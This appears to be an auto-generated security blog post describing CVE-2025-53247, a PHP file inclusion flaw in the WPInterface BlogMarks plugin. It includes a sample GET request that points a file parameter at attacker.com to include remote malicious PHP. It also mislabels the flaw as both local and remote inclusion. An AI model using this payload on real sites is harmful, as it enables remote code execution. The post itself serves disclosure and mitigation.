{"id":72679,"date":"2025-09-07T18:10:32","date_gmt":"2025-09-07T18:10:32","guid":{"rendered":""},"modified":"2025-09-28T11:55:33","modified_gmt":"2025-09-28T17:55:33","slug":"cve-2025-53247-critical-php-remote-file-inclusion-vulnerability-in-wpinterface-blogmarks","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53247-critical-php-remote-file-inclusion-vulnerability-in-wpinterface-blogmarks\/","title":{"rendered":"<strong>CVE-2025-53247: Critical PHP Remote File Inclusion Vulnerability in WPInterface BlogMarks<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity community has identified a significant vulnerability in WPInterface&#8217;s BlogMarks, a popular blogging platform. This vulnerability, designated as CVE-2025-53247, affects any version of BlogMarks up to and including 1.0.8. This threat stems from an improper control of filename for Include\/Require Statement in the PHP program, allowing for PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3671-critical-local-file-inclusion-vulnerability-in-wpgym-wordpress-gym-management-system-plugin\/\"  data-wpil-monitor-id=\"80506\">Local File Inclusion<\/a> (LFI). The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53192-critical-vulnerability-in-unsupported-apache-commons-ognl-leads-to-potential-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"80567\">potential implications of this vulnerability<\/a> are severe, ranging from system compromise to data leakage. This blog post aims to provide a thorough analysis of the vulnerability, its potential impact, and the steps required to mitigate it.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53247<br \/>\nSeverity: Critical (8.1 CVSS Score)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5997-privileged-api-misuse-leads-to-potential-system-compromise-in-beamsec-phishpro\/\"  data-wpil-monitor-id=\"80840\">System Compromise<\/a>, Data Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1851636265\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WPInterface BlogMarks | Up to and including 1.0.8<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This exploit takes advantage of the PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23310-remote-code-execution-vulnerability-in-nvidia-triton-inference-server\/\"  data-wpil-monitor-id=\"80312\">remote file inclusion vulnerability<\/a> in WPInterface BlogMarks. It targets the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27689-dell-idrac-tools-improper-access-control-vulnerability\/\"  data-wpil-monitor-id=\"81476\">improper control<\/a> of filename for Include\/Require Statement in the PHP program. The attacker can manipulate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions\/\"  data-wpil-monitor-id=\"81085\">file<\/a> path input to include or require a remotely hosted file. This file can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47176-code-execution-vulnerability-in-microsoft-office-outlook\/\"  data-wpil-monitor-id=\"80352\">execute arbitrary code<\/a> on the server, leading to potential system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2614706277\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49532-integer-underflow-vulnerability-in-illustrator-leading-to-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"86176\">illustrating how an attacker might exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/vulnerable_page.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the attacker manipulates the `file` parameter in the GET request to include a file (`malicious_file.php`) hosted on their own server (`attacker.com`). When the server processes this request, it includes the malicious file, which can then <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50177-code-execution-vulnerability-in-windows-message-queuing\/\"  data-wpil-monitor-id=\"80553\">execute arbitrary code<\/a> on the server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The recommended mitigation for this vulnerability is to apply the vendor-supplied patch. Until the patch can be applied, it&#8217;s advisable to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary measure to detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8418-arbitrary-plugin-installation-vulnerability-in-b-slider-gutenberg-slider-block-for-wp-plugin\/\"  data-wpil-monitor-id=\"82555\">block attacks exploiting this vulnerability<\/a>. Regularly update and patch your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50594-critical-password-reset-vulnerability-in-danphe-health-hospital-management-system-emr-3-2\/\"  data-wpil-monitor-id=\"80437\">systems to reduce the risk of such vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity community has identified a significant vulnerability in WPInterface&#8217;s BlogMarks, a popular blogging platform. This vulnerability, designated as CVE-2025-53247, affects any version of BlogMarks up to and including 1.0.8. This threat stems from an improper control of filename for Include\/Require Statement in the PHP program, allowing for PHP Local File Inclusion (LFI). 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